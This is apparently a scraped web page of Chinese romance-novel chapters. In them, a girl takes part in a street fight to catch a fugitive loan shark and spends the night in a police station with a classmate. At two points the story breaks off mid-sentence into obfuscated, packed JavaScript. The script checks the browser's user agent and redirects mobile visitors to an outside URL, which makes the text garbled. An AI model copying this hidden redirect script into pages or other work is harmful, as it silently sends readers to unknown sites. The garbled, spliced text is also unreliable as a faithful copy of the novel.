“他们吵架你是不是就躲这儿呢?”江蔚云说,“你可以躲,但是我们住进来了,以后得先打报告知道吗?” 捏他儿子。 江蔚云KPI达成。 马家巷是这一带有名的小吃街,三人并行都略显拥挤的小巷每天却是人来人往。 往里走到一个丁字路口,路会宽点,便有店家在门口摆上折叠桌椅,勉强成个夜市。 过年这几天生意也不错,不过主要是些无家可归或者压根不想回家的人撑场子。 入夜后,树枝上红灯笼亮了,在黑压压的巷口,特有中式恐怖的氛围。 郑策裹紧了衣裳往前走。 巷口烟花店还开着,招牌和五元店一个套路。只不过下面还煞有介事地用拼音再标注了“yanhuadian”三个字。 可能是怕外国人读不懂吧。 除此之外,烟花店招牌最为醒目的是粉红头发的守护甜心。虽然模糊的像是打了一层马赛克,但郑策凭借中二时期的狂热,还是一眼认出了亚梦。 是谁裹着被子站在床上施展魔法,往事不必再提…… 烟花店前,有个老太太和小男生在卖烤羊肉串。老太太民族风打扮,朴素又不拘一格的宽松款式很适合她。 小男生主管烤肉,颊侧隐约有两粒酒窝,衬得整个人柔和不少。 烤架上的肉闻着焦香孜然,还挺像回事。 一群五颜六色头发的人走在郑策前面,大衣衣角被风鼓起,走得十分有范儿。 郑策脑子里自动补足BGM:叱咤风云,我任意闯万众仰望;叱咤风云,我绝不需往后看…… 古惑仔们路过羊肉串时,齐刷刷停在小推车面前。 五大三粗往那儿一站,将老太太和旁边的男生遮得严严实实。 郑策放慢脚步。 如果要起冲突,她还能掉头就走。 是的,这种时候她不想惹麻烦。 “奶奶,来三根仙女棒。” 周全刚把烟叼上,打火机一捞出来,就被骆淇眼疾手快抢了过去。 “年纪轻轻燃一头白发,不知道怎么想的。三根,抠死你得了。” 骆淇瞪他,“我说过烟花店周围不要带打火机吧?没收了。” “我这是灰蓝色,你不懂。” 周全无奈。 “那您这儿还煤气罐呢!威力赶上加特林了都,我那打火机就剩两滴油。” “羊肉串吃不吃?” 骆淇不想跟他嘴贫,“不吃就滚。都没个样子,把外套都扣上!春捂秋冻,现在还没入春呢!” 骆淇对五彩缤纷的这群人丝毫不怵,强迫每个人都裹成棉冬瓜后,满意地拿了三根仙女棒, “奶奶送你了,去外面玩儿。” “我不吃您这耗子肉,我进去找远方吃顿好的,顺带帮您教训他一顿。” 周全呲牙笑着接过仙女棒,另一只手在手机上点点,朝骆乘光说,“弟,压岁钱打过去了啊,新年快乐!” “你混那点儿钱,可别再天女散花了。”骆淇还是烤了几串羊肉串递给他。 周全接过和兄弟们分了,不服道:“嘿外婆你别小看高中毕业生,当大老板的多了去了。现在高三就剩最后半年,我劝远方也别读了吧……” 他话还没说完,郑策就看见老太太用一根沾着油腥的竹签突出重围,把几个混混唬得瞬间散开的。 “你敢在他面前提这件事,我把你扎成筛子信不信?哎,别跑,不准灌他喝酒听见没,他还要读书……” 几个人嬉皮笑脸一顿跑,周全回头给老太太打招呼的时候踩着一小石子,立马向后倒。 然后,被旁边人伸手一捞,瞬间完成拉丁舞高难度下腰动作。 郑策继续小声配乐:翻天覆地,我定我写自我的法律~~ “哎天官儿诶。”骆淇嫌弃地皱了皱鼻头,转身就看见走来的郑策。 立马换上笑脸,轻声问: “小姑娘吃羊肉串吗?” “不用了,谢谢。” “哎,大过年的,老太太我给你打八折,前头的店都黑心着呢,来两串来两串。” 骆淇朝对炭火神游天外的骆乘光使了使眼色,“发什么呆啊,烤啊!” 虽然骆淇一直守在烧烤摊边,但一靠近,郑策还是闻到她身上有股熟悉的味道。 别人说这是老年味儿,她不清楚,只是依稀记得在外婆家也闻到过。 看在这老太太大过年不躺在家里看戏剧春晚,跑到马路上逢人就笑的份上,郑策心一软,跟了过去。 “两根就行。” 男生烤得明显不熟练,手忙脚乱一顿乱抓。 郑策看着有些头晕,刚一抬眼,又看见这老太太满脸笑容打量自己。 啧。 刚回来这两天,但凡遇见个人都把她当动物园出逃的猴儿看,郑策皱眉,正想问她看什么,老太太欣然笑道: “郑策是吧?” 郑策眼神里的不耐烦瞬间变成探究,“您是?” “我是郑策的外婆,那个男孩儿,你们小时候一起玩儿过。哎呀,都长这么大了。” “噢。” 郑策对这个老年人没什么印象,小镇上看着眼熟,有过交集的人多了去了。 她忽然想起,欧阳说他们家出了变故,所以才出来摆摊吗? 但郑策不想多问,同时也不希望别人过问自家的事。 没想到骆淇下一句就是,“你爸妈呢?也回来了吗?” “……没。” 还好羊肉串好了,郑策接过就要走,“多少钱?” 骆淇抢在骆乘光前开口,“二十。” 又坑老实人呢。 郑策看着两根竹签上塞牙缝都嫌小的肉丁沉默了。 她忽然开口:“阿玛尼那库喷达阿库盆达WeiWei。” 骆乘光举着铁架子,愣住:…… 骆淇同时也呆住,手里电话叮咚一声: 支付宝到账,二十,元。 “再见奶奶,新年快乐。” 郑策皮笑肉不笑转身就走。 骆淇没八卦过瘾,还想逮住她再问两句,被骆乘光拦住。 他胳膊环住骆淇脖子对着镜头笑,“外婆来,我们自拍一张,这烟火气满满的。” “她是不是骂我们呢?仗着我们听不懂?” 骆乘光紧了紧手臂,“小声点。” “干嘛呢要呛死我?” 骆淇又小声说,对着镜头笑了笑,“没看她往夜市走嘛,还有钱呢,本来能多聊几块钱羊肉串的。” “再聊就没命了。” 骆乘光龇牙咧嘴,从牙缝里蹦出几个字,“看手机,她右边兜儿里是什么?” 骆淇虚着眼睛,调整老花距离,看了半天,才惊道:“天官儿,她怎么带着刀!” “让人知道你挂羊头卖狗肉,待会儿拔出来我都来不及救你。” “她不会干什么傻事吧?” 骆淇心里一阵不安,“远方还在里面呢。” “骆远方要是打不过她,他就别活了。” 骆乘光点了两下手机,屏幕转向骆淇,“你不是让我教你晚上怎么才能拍得清晰嘛,看着点。” 骆淇别过脸去,“诶你先把美颜开开,我见不得这张老脸。” “……毛病。” “啧。”骆淇打开美颜凑过去看两眼,“等我熟练掌握智能手机就去环球旅行,你们哭着求我回来,都不管用!” 本地人身份在老油条面前根本不管用,郑策被坑了一把,心里不服。 羊肉串不好吃,又老又柴。 刚才闻着香主要功劳在那男生调料加得足,但吃进嘴里又是另一回事了。 又咸又苦。 郑策没吃两口,遇见被插成刺猬的垃圾桶,贡献了两根带肉的竹签上去。 垃圾桶转角立马就热闹起来,吃小龙虾的,喝夜啤酒的,撸串的。 地上全是油和竹签,空中飘着烟和爹妈,也是很热闹了。 但她站在垃圾桶边没转弯。 因为看见了帅哥,不,熟人。 大苍蝇的黑色复古头盔放在红色高脚塑料凳上。 旁边男生胳膊肘架在膝盖上,坐姿懒散地仰头喝了口啤酒,喉结滚了滚。 郑策。 人果然不禁念叨,这两天念多了就遇见了。 不。 她又看了眼凳子上的变色护目镜。 是一回来就遇见了。 巷子不宽,各家餐馆灯光一打,整个巷子瞬间灯火辉煌。 男生侧对着她坐,边缘线条在各色灯光下清晰齐整,而他身边是来往的人群。 耳边哄闹并未减少,也许是少年干净利落的形象和这里不相容,让人觉得很安静。 像是个误入的旅客。 但郑策很快又根据他撸起袖子的手臂上大大小小的擦伤认出: 他是打篮球那个人。 “怎么剔了个板寸?齁冷的。” 刚在羊肉串摊前寒暄的灰蓝色头发少年和他碰了下酒杯。 “不过,我兄弟头型好看,剔成和尚都还是这么帅。” 周全说着在骆远方头上摸了两把,被扎得缩了回去。 “今天下午才剔的。” 骆远方说,“骆淇说这下更像越狱的了。” “我也感觉,只是刚没好意思说。”周全贱兮兮地笑着把凳子挪远了些。 “远方,还回来练体育吗?”褚铭给他挑了根肉多的串儿,刚端过来,肥肉上还滋儿滋儿冒油。 褚铭是这群人中,除了骆远方以外,唯一一个黑头发的。 他年纪也最大,明显沉稳些。 “你的事,我们差不多也知道了,不用瞒着。” “不练了,去何仙姑的班读一年半。” “卧槽?还真去啊?” 周全惊讶,一脸同情看他,“从高二开始复读?那你小子亏死了。” 郑回想到之前电话里的沟通,原来他就是柯言嘴里更麻烦的复读生。 还是体训特长班转来的,那是麻烦点。 她竟下意识觉得眼前这些人都没什么前途。 她摇了摇头。 平时她最不喜欢别人随意给自己下定论,现在和那些自以为是的人有什么区别。 “你少吃点糖吧,得糖尿病了可没人管你,我猜老太太会让你自生自灭,还有你冻死人的弟弟,死之前能看你一眼就谢天谢地吧。” 周全递来一盒菊乐酸奶,“喏,专门给你买的,老太太吩咐的,少喝酒。” “嘴里积点德吧你。” 骆远方想起复读的事儿就烦,下意识嚼了块儿薄荷糖,被这么一说,发射炮弹一般又吐出来。 准确弹射进垃圾桶。 他有些感慨地摘下吸管,“出了省都没有菊乐喝,想死这口了。” “嗐,依我看你还真是出息了,一个人出省闯了六个月,我们混几十年都没出过这片儿。” 周全忽然多动症一样,扭着凳子往骆远方这边靠,被他一脚挡开。 但周全扭得忘情没注意,惯性朝他身上扑了过去。 “卧槽,你喝了两口就醉成这样?” 骆远方接住他。 “你他妈的,谁知道你来这么一脚。” 周全挂在他身上小声说,“侧面有个女孩儿,一直看着咱们这儿,你猜看谁?” “看我呗,我比你们好看点。” 骆远方受不了一个男人抱着自己嚼耳根,一把把他推开。 一群人吵吵嚷嚷起哄,“你是好看,混不下去了,来店里当男模,给你开高价!” “不是我说,再过两年,就开他个连锁店。” 褚铭说,“远方找不到活儿就去当店长,哥几个罩着你!离了高考又不是没路了。” 骆远方笑着向褚铭举了举杯。 心里有些酸。 这群兄弟什么都知道,一向直来直去的性子,为了他的事委婉得快赶上薛宝钗了都。愣是没多问一嘴他出走的情况。 “谢谢哥!” 他心领了。 一人举杯:“去他妈的高考!” 周全和他碰上,豪爽道:“去他妈的体训!” 一群人开始鬼哭狼嚎:“去他妈的精英教育——” 周全笑嘻嘻坐回去,正想摆正了凳子看一眼垃圾桶边的女孩儿。 却不小心撞上隔壁桌的人。 这种本就狭小逼仄,人挤人的苍蝇小馆,类似摩擦不可避免。 本以为糊弄糊弄就过去了,没想到身后直接伸过来一胳膊,圈住周全的脖子就往后拖。 “不长眼啊!” “操!” 这桌五彩人立马都站了起来,骆远方也放下酒杯,盯着那边。 褚铭掰着那人胳膊,不费吹灰之力就扭成一个高难度动作,把周全给解救下来。 这桌全是练过的体训生,对这种级别的架从来不怵。 那人被拧得面目狰狞,身旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812333|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也立马站起来帮他脱围。 这一脱围,郑策瞳孔倏地紧缩。 单眼皮,倒八字。 她脑子里暗骂了声,迅速拿出电话拨给警.察.局。 郑策现在万分后悔刚沉迷男色,没多走两步,早点发现这个人渣。 看这些人打架的狠劲儿,她都怕警察来之前就结束战斗。 郑策捏了把汗。 火得烧得更旺些才好。 “活得不耐烦了吗,毕业了吗小子?” 邻桌一人直接拿着空的啤酒瓶往桌角一敲,看向他们这边。 玻璃渣碎一地,湿漉漉躺在地上。 就半分钟不到,巷子里这块儿地方已经贴心地给两拨人斗殴充分腾出了场地。 人群缩到十米开外,拿着手机开始直播打卡地头蛇斗狠现场。 “吹牛吹得唢呐一样,不知道的以为你他妈号丧呢。” 周全活动活动脖子,今晚这气,他非出不可。 他对人群喊: “都录好了,看谁活得不耐烦了,跟我面前找死!” 单眼皮男人面对这么多摄像头明显有些不适,略显慌张地撇过头来。 这一撇,他直接和躲在拐角的郑策亲密对视上了。 操。 男人拔腿就跑。 周全狠话还没放完,被他不按套路出牌给弄无语了。 更无语的是男人同桌的一群人。 两拨人就看着他,傻楞在原地。 “等个屁啊,等人来收尸么!” 骆远方吼了声。 他实在受不了,这气势都架足了,还面面相觑惺惺相惜的场景,一脚踢翻面前的桌子。 “要打就他妈快点打。” 场面一下子混乱起来。 骆远方长腿一伸,逃跑的男人十分狼狈地朝地上的不明呕吐物一扑。 骆远方拧着眉朝旁边让了让。 “就是你惹出来的,跑了我找谁算账?” 这群体训毕业生都跟头牛一样壮实。 而骆远方看着瘦,动起手来却丝毫不逊色。 像只猛兽,更确切说,是窄巷里混迹已久的野猫。 藏匿于黑夜,悄无声息。 但动作灵活,目光冷冽,没有花招,一击命中。 没过两招,搞高利贷诈骗的这群人,就发现干不过搞体育的这群牲口。 作势就要跑。 这群街头闹事的,总是来也匆匆,去也匆匆。 骆远方在单眼皮男人身上招呼了几下后,没太大意思,也要放他走。 郑策在暗处观察他们的一举一动,眼看着就要逃走,她叹了口气。 果然等不到警.察.来。 骆远方这边刚拿了根烟出来,还没点上,余光里就见一个黑影从垃圾桶里,不,垃圾桶旁边冲了过来。 拦下刚被他胖揍一顿的单眼皮。 单眼皮的同伙现在屁滚尿流想着逃命,根本顾不上还落了一个人。 于是郑策单手灵活地转了几圈从垃圾桶里顺出的擀面杖,紧接着,猛地朝单眼皮劈去。 擀面杖还带着各路烧烤的调料风味,擦过骆远方,在他面前掠过一阵又臭又香的风。 男人反应相当迅速,侧身非常狼狈一滚,好险也躲了过去。 周全拿的烟还没点上,先被郑策手里玩棍子的花活给震惊,咬着烟赞道:“帅啊!” 本以为结束了战斗,女孩儿忽然的加入,竟搞了个彩蛋出来。 但因为搞不清状况,几个人都站在旁边,看着她和单眼皮厮杀。 郑策胜在灵活,还有一根擀面杖进攻,打中了好几下。 但在力量和体型上仍处下风。 褚铭看着这一幕:“什么情况?她不要命了吗?” 没过两招,郑策手上擀面杖脱了手,赤手空拳对峙,毫无章法,更像是在泄气。 她确实似乎不打算要这条命,同时也没把对方当个人,处处紧逼。 骆远方也拧着眉,一脸沉重看着,“这个打法,再挨几下,她肋骨少说断三根。” 他丢了烟,刚往前迈一步,周全一伸胳膊拦住他,摇摇头,“别管,不像善茬。” 骆远方看了眼还在缠斗的两人,犹豫了下,便没上前。 但几人刚收拾外套准备离开时,巷口就传来了警笛声。 过年还要值班的警察们有些激动甚至疯狂地鸣笛。 带点“总算找着出气对象”的癫狂在里面。 警察们一字排开从车辆大灯前赶过来时,都快有了港片追捕毒贩的气场。 而刚跑出的那些人,刚好落入他们的怀抱。 怎么不算双向奔赴的浪漫呢…… 周全非常沉稳地看了一会儿,慢慢脱口而出非常没有气势的一个字: “跑。” “跑了屎盆子就扣头上,明儿警察就上门。”骆远方放下外套。 忽然,眼角银光一闪,骆远方想都没想,两步跨过去,一把捏住郑策举起来的刀柄。 她的手在抖。 骆远方忽然有一瞬的怔愣。 下一秒,他把刀从郑策手里抢过来,再用力一拉,把郑策拉到身后。然后一脚踏在那人胸口,制止他进一步动作。 “你干嘛?他们斗殴,你越搅越浑啊!”周全急道。 他的脑子在千分之一秒内想出的办法便是把他们摘出事外,假装看热闹的三好青年。 “警察会信吗?” 骆远方放开郑策,说话间拿着刀往自己手臂上毫无征兆,猛地一划。 长长一条口子,血迅速洇湿灰色卫衣,流得顺畅又欢快。 他只是皱了皱眉,捏紧拳头,“这种情况,谁惨谁有理,你们待会儿替我多嚎几声,我不想刚开学就背处分。” 他还没说完,手里的刀又被身后的女生抢了回去。 郑策握着匕首猛地朝地上扎去。 骆远方心里一惊,一脚踢开地上的男人。 同时,郑策双膝重重磕在地上,匕首插入水泥地缝隙,还在不住颤抖,金属碰撞地面发出轻响。 骆远方只能看见她埋着头,略显瘦削的肩膀轻微颤抖起伏。 从她冲出来到现在,一句废话没说过,出手果断又狠辣。 像是只有一次机会,所以使出全力。 直到跪在地上时,女孩儿才缓缓吐出一口气。 很慢,很长地舒出一口气。 肩膀也跟着沉了下去。 匕首一歪,她整个人笔直向下倒,骆远方连忙单膝跪下扶正她。 声音因为刚抽过烟,又被酒精刺激,沙哑里带着颤抖。 “你,怎么了?又想讹人?” 郑策微眯眼睛,嘴角还带血,笑着叹了口气: “真他妈爽!” 见她这幅样子,骆远方怔了瞬,没忍住也偏过头跟着她笑起来。 “疯子。” 警笛声至,这里早已一片狼藉。 5. 加个微信么? 等眼前的重影逐渐合为一体,霓虹灯光晕收缩回各自招牌的时候,郑策已经迷迷糊糊坐在警车上。 身边一个女警察不停地拍她的脸,右脸此时都麻了。 不愧是习武之人。 “小姑娘,没事吧?什么情况?哪儿受伤了?说句话啊?啊?” 郑策拧着眉转头看过去。 警车上人还挺多,后两排坐着五彩缤纷那桌人,都好奇地看她是不是快死了。 她揉了揉太阳穴,“没事,有点晕血。” “嗐——” 车内紧张的气氛肉眼可见松快了些。 周全一脸悲痛地看着她,“身手不错,竟然晕血,可惜了。” “我不晕,身手还行,要不较量较量?”女警察回头看他,周全立马缩着脖子向她敬了个少先队队礼。 骆远方趁乱朝郑策看了眼,想起前天被撞后戴墨镜,对伤口视而不见的场景。 原来晕血啊。 他将胳膊往里挡了挡。 派出所院子里据说没车位了,车停的有些远。几人被迫押解着走了一截路。 有点游街示众的意味。 对此周全用个“操”字表示不服,又迅速抱头屈服在“敢”字的威压之下。 还好正月十四已经收假,大部分人都躺在家里平复年假结束的心情,街道上并没有太多人。 枯黑树枝嵌入夜空,细密如烟,像个牢笼围困了一整个城的梦境。 铁质栏杆上挂了一整面的租房信息,还有注意扒窃的警方标语。A4纸裹着硬塑料在风里圆了当彩旗飘飘的梦。 “这么便宜,靠谱么?”郑策嘟囔了一声。 “啊?” 女警察没反应过来,看到依次起伏的广告又说,“还是得找正规中介机构,这些挂几百年都不带换的……想租房?” 郑策不置可否,“就看看。” 走到十字路口拐角,遇见一女孩儿行色匆匆。长棉衣下面露出米白色睡裤,提着一袋啤酒饮料之类,应该是下楼帮大人补货的可怜人。 郑策后头几个男生还挺要脸,老远见着活人,都默契地回头,只留下哥几个深沉的后脑勺。 “看路!”警察一路上跟个复读机一样来回播报。 “都当街斗殴了,还要什么脸啊!” “哎!”郑策忽然停住,朝女孩儿那边喊了声,中气十足的。 吓得这一拨人都卡了几帧。 她继续吼:“后面跟着你的人,认识吗?” 骆远方顺着她视线看过去,拧着眉,陷入沉思。 众人这才注意到女孩儿身后似乎有个黑影九十度急转,杀进了最近的岔路里。 女警察瞬间明白过来,也看着女孩儿问:“家离得近吗?我们送你。” “不用不用,就在街对面。” 女孩声音软软的,应该是吓着了,朝他们非常标准地鞠了九十度,又快速瞅了眼郑策,趁着绿灯就跑。 “谢谢警察姐姐!” 女警察看着她背影叹了声:“一群死男人半夜叫个小女孩儿出来买酒,我祝这酒辣他□□儿。” 在街上冻了小一段路,一行人回到警察局竟然凭空生出亲切之情。横七竖八倒了一地,跟自己家一样。 “小策?”值班的男警察看到来人时,惊讶地问。 “卧槽,关系户。”周全小声冲骆远方逼逼。 郑策爸爸是电工,这里派出所硬件设施上偶尔出个问题,都是他来解决。 以前小郑策常跟在爸爸身后递螺丝刀,改锥什么的。一来二去,也都认识她。 “席叔,帮你们抓着一个放高利贷的。” 郑策接过席警官递来的热水,喝了一口,“闹出人命就跑了,用的假证,是个通缉犯。” 她不带标点地直接丢了个炸弹在所里。 刚横在地上躺尸一样的几人猛然坐起来。 他们在街上小打小闹,也不是没进过派出所。但闹出人命,可又是另一个层面了。 难怪这女孩又是擀面杖又是水果刀的。 单眼皮被打成肿眼泡,刚进门听见这句话顿了下,几个毛头小子瞬间向后爬了几米,给他让出道来。 以为是个废柴,没想到是亡命徒啊,失敬失敬。 郑策转身看那人的脸。 虽然一个头被揍成两个大,但他一笑,嘴角还是会撑起两条短括弧。 看着憨厚老实,一张嘴又是老乡口音,爸妈这才着了道。 “不是我。你们抓错人了。”他垂死挣扎。 “转账记录,合同信息,笔迹鉴定,证据我这儿都有。” 郑策沉默着看了他一会儿,转过身继续登记信息,冷声问: “席警官,这种人能判死刑吗?” 听到这句话,周全迅速紧张地瞅了眼骆远方。 骆远方背靠着墙坐,仰头抵在墙上,脖子上紧绷的线条和不时的吞咽动作能看出来他伤得不轻。 左臂衣服被医生剪得稀碎,裹着绷带垂在身侧。 见周全看过来,骆远方嘴角微弯了弯,摇摇头,向他做了个没事的口型。 “没事你手抖什么?” 周全膝行过去,有些担心地看着他。 又朝他竖起拇指,“说划就划,你真是这个。” “你他妈划自己一刀,你看抖不抖。” “操。” 周全咽不下这口气,仰头向登记信息那群人喊了一嗓子,“警察叔叔,我们被划成这样了,管不管啊?我这热血沸腾的。” “管也一个一个来,热血就出去喝两口西北风,管降温。” 警察叔叔大半夜加班,心情也不是很美丽。 “也是会挑地方打,周围一个摄像头都没有,便宜了跑的那几个。” 想要确定逃跑的人的身份。 一通询问下来,一人一个说法,根本无法准确定位长相。 警察都怀疑跑的几个是孙悟空。有七十二般变化。 “我可以,画出来。”骆远方忽然开口。 “是是是,他画画贼牛逼。” 周全忽然清醒,瞪圆了眼睛,这种装逼好事怎么能少得了他。 “不信让他先画个我,你们看像不像!” 褚铭也靠在窗边接了句:“比赛得过一等奖呢!” “是是是,上回画了个水牛,我楞以为是照片呢!” 一群混混忽然开启彩虹屁模式,让警官们有些哭笑不得。 没想到兄弟们这么捧场,骆远方此时也有些后悔提了这么一嘴。 这群人就差送他一件衣服,胸口上写着几个大字: 全村的希望。 但事实也如此,他在这群人里一直被当做弟弟照顾着。 因为他聪明,有天赋,都觉得他有出人头地的机会。 也许他们知道自己这辈子就烂在这里了,所以才不愿意看见骆远方一次次落败。 他们始终在下面托着他,像是托着自己未曾萌芽的梦想和希望。 当然,最后警察也没让骆远方真的给周全来个入狱写真。主要会画的人一动笔,大概就能看出水平。 三张图下来,连脸上褶皱和痣都标记了出来。再拿着去马家巷那边盘查就方便多了。 一男警察拿起画像端详,“嘿果然像个人,明天拿去试试。” 骆远方:“……谢谢夸奖。” 男警察看着骆远方还想问,“你……” “自学的,水平低,不收徒。” 骆远方将铅笔一放,转身又坐回角落里的老位置。 “嘿,还真够傲的……” 核查到大半夜,总算把基本案情理清了。 单眼皮被捕,郑策可以回家,其余的人因聚众闹事得关一晚。 刚好五彩人们折腾到半夜也累了,惹的事交给警察擦屁股,一个个睡得死猪一样。现在叫起来挪窝,说不定还有起床气。 “席叔,我今晚能留在所里吗?” 这个时候让姨妈来领人,郑策不如一头撞死。 “你爸妈呢?”席警官在电脑上唰唰地点击什么。 墙角那边,骆远方闭着的眼睫颤了颤。 “他们……没回来。” 郑策说,“我住别人家,这么晚,人家都睡了。” “你自己看这群人……”席警官一言难尽看过去,有几个都开始流哈喇子说梦话了。 他指了指骆远方。 “那个杨过,哎,那么长条凳子,腾个位置出来给小姑娘休息。” 独臂杨过半阖着眼皮,绷着嘴角似乎非常不爽地朝他们看了眼。 然后闭着眼往旁边挪了挪。 一点没有偷听的心虚。 大概是照顾他,那群兄弟在警察局哭天抢地一顿喊冤后,都席地而睡,把唯一的凳子和周围的空间都留给了骆远方。 郑策走过去,骆远方闻到一股奶香,淡淡的,和之前在车上闻到的一样。 她背对着骆远方抱膝缩在一边,头靠着墙,缓缓吐出一口气。 结束了。 没想到还挺快。 没缺胳膊少腿儿,除了点淤青,血都没流。 她愿意回来的一半原因就是这个男人。 但把他送进去后,并没有想象中的松快感。 像在不断下坠过程中,被树枝兜了一下,还没来得及庆幸运气好,咔嚓一声,枝条又断了。 迎接自己的深渊有多黑暗,她之前从没有想过。 直到现在,快习惯下坠过程的失重感后,往身下一探。 才发现深不见底。 还没来得及心疼自己,身后忽然传来声音。 “之前,那个……你,对不起……” 似乎怕把其他人吵醒,他声音压得很低。 旁边几个警察在热情高涨地赌今年高铁站能开通就去吃屎。 他的声音夹杂在电视里元宵晚会的歌舞声中,显得艰难无比。 “啊?” 郑策没动,仍旧背对着他,但声音里有浅浅的笑意,“说什么呢这么费劲。” 也许是刚才又打斗又控诉的,她声音虚了很多,柔化掉之前锋利棱角,像低声耳语。 “我是,撞你那个人,还记得吧?” 骆远方转过头看她,“之前嘴快,问了你胳膊上……不要介意。你……节哀。” 黑色袖带,人命案,高利贷,还不要命地抓逃犯……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812334|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 经过这一番折腾,骆远方大概猜出郑策家发生了什么。 “早认出来了,谢谢啊。” 郑策微笑着转过身,和他并排坐着,骆远方的眼睛很亮,像深空的月亮,她顿了片刻,叹道: “幸好有你拦我那一下,刚脑子烧着了一样,我都不知道自己会干出什么来。” 郑策转过头,骆远方立马也转回去,摸了摸兜,递给她一个东西。 “你的创口贴。” “你不要?现在才还?” “你脸上有条口子。” 骆远方啧了声,“不是晕血么?怕你照镜子晕过去。” 他忽然不合时宜想起周全之前的骚话: 我一条口子,你一条口子,我们就是——两口子。 唉。 什么不堪入耳的台词,悄没声儿地进了他脑子。 “是么?”郑策还带着泥点子的手在脸上胡乱摸了摸。 “哎,卫生习惯呢?” 骆远方无奈,“算了,我给你贴。” “谢了。”郑策也没拒绝,把脸支过去。 骆远方的指腹是暖的。 虽然有准备,但是触碰过的地方,侧颊像是被烫了下,她反射性往回缩了缩。 “疼?”骆远方小心问。 “不疼。”郑策有些尴尬,“你手挺烫,吓我一跳。我冬天手脚都是凉的,没想过有人还能这么烫。” “……那你忍一下。”骆远方仔细地撕开胶条,怕黏上她脸上的口子。 此时,电视里歌舞表演结束,开始回放往年春晚经典小品,巩汉林和赵丽蓉台词清晰,情绪饱满: 宫廷玉液酒。 一百八一杯。 这酒怎么样? 骆远方贴完,闭着眼睛靠回去,小声跟上:“听我给你吹。一杯你开胃,我喊了一声美~” “笑什么?” 他睁开眼睛看她,面无表情的时候,加上这一脸伤,平白叫人不敢接近。 “以为你们这种人不看小品呢,不冷酷,会掉范儿。” “……小时候没事干只能看这些。” 骆远方淡淡道,又闭上眼睛,“其实就是那个二锅头,对的那个白开水……” 他小时候家里的情况,郑策多少也清楚一些,于是也沉默着没说话,听他对小品里的台词如数家珍。 两人都安静地坐着,但也睡不着,直到电视里晚会又开始重播。 十二点过,窗外传来空远的钟声,悠长,宁静。净化一整天的喧嚣和浮躁。 今天派出所破例没有收他们的手机。 往常的话,应该会收到很多人的元宵快乐祝福。不论亲疏,群发私戳,手机都会叫上一阵。 但今天没有,郑策回来之前把号码给换了,没人能联系上她。 看着骆远方一个个点开聊天框,又不回复,她有些想笑。 “不回一下么?” “都是群发客套话,没意思。” 骆远方息屏手机,看着她手里安静的手机,“你这人缘不怎么行啊?” “我……换号了,没加之前的人。” “那可惜了,积分什么都浪费了。” 呃,这个脑回路还真是够清奇的。 骆远方忽然说:“加个微信么?” 郑策看着他,有些发愣。 这算,不打不相识吗? 骆远方半开玩笑地说:“怪凄凉的,我给你发元宵快乐。” “……谢谢你好心人。” 郑策眯缝着眼睛看他,不知道骆远方是玩笑还是真的。 但她脑子转不动了。像一整天过载的机器,现在拔了电源。齿轮还依着惯性运转,摩擦着又烫又沉。 “我能靠着你睡一下么,这墙太硬,再不闭眼我感觉脑花要炸了。” “这么没防备?” 骆远方看着她下一秒就要云游四海的模样,“我说不行的话……” “谢谢。” 郑策打断他,挽过他的手还注意看了下不是受伤的那只,脑袋直接靠了上来。 她闭着眼睛,满意地小声道:“这儿是警察局,而且……我信得过你,新年快乐。” 信得过? 为了一句信得过,骆远方爆棚的使命感愣是让他挺出了军姿的效果。 没过一会儿,耳边呼吸逐渐均匀。郑策睡熟后,挽着他手臂的手垂下来,靠在他手边。 果然是冰凉的。 骆远方犹豫着要不要捂一下,就听见女孩的声音低低传来: “郑策,还疼吗?” 他试探的手指倏地蜷了蜷,又收了回去。 为了包扎伤口,骆远方只穿了件薄卫衣,此时肩膀的位置有些潮湿和暖意。 “没事了,新年快乐。” 他闭着眼睛靠回墙上,小声说。 “还有……好久不见。” 两人头摞着头睡到五六点左右。 睡梦里,郑策忽然被人推了下。就听见席警官在耳边说:“郑策,你舅舅来了。” “嗯?什么舅舅?”她皱着眉在骆远方肩膀上蹭了蹭。 “就是你舅啊,你大舅你二舅都是你舅的那个舅!” 6. 劳改犯的儿子 歪着头睡了几小时,还夹在骆远方脑袋和肩膀中间,郑策猛地惊醒。 磕了一下上面的头,吓得骆远方也猛地睁开眼睛。 但脖子一时半会儿掰不回原位。 她和骆远方此时就像唐伯虎点秋香里两位骨骼特异的公子,迷蒙着眼睛望向席警官。 “舅舅?” 郑策跟着重复了句,然后朝席警官身后看过去。 冬天五六点,外面本应该漆黑一片,今日也许是个大晴天,天空泛着深灰色,给青灰的巷道蒙上一层复古滤镜。 宋乐洋往门口一站,挡住大半视线,头发留着简单美式前刺,胡子刮得很干净,露出棱角分明的线条。 像是雕塑家用小刻刀削出的利落短线。剑眉微皱,好像心情不是很好。 但和骆远方的疏离感不同,给他一根棍子,宋乐洋就像是要来端了警.察.局的。 宋乐洋看她一眼,抿着唇角似乎很不爽地朝席警官比划几下手势,然后从兜里掏出一张身份证递过去。 席警官摆手,“不用了,她本来也没被拘留,自愿陪我们值班的。” 于是宋乐洋看着郑策,头朝门口偏了偏,示意可以走了。 郑策这才看见他耳朵上带着助听器。 宋家有三个孩子,郑策妈妈最大,接着是姨妈,那个年代对儿子有执念,于是又生了宋乐洋。 却没想到是个哑巴。 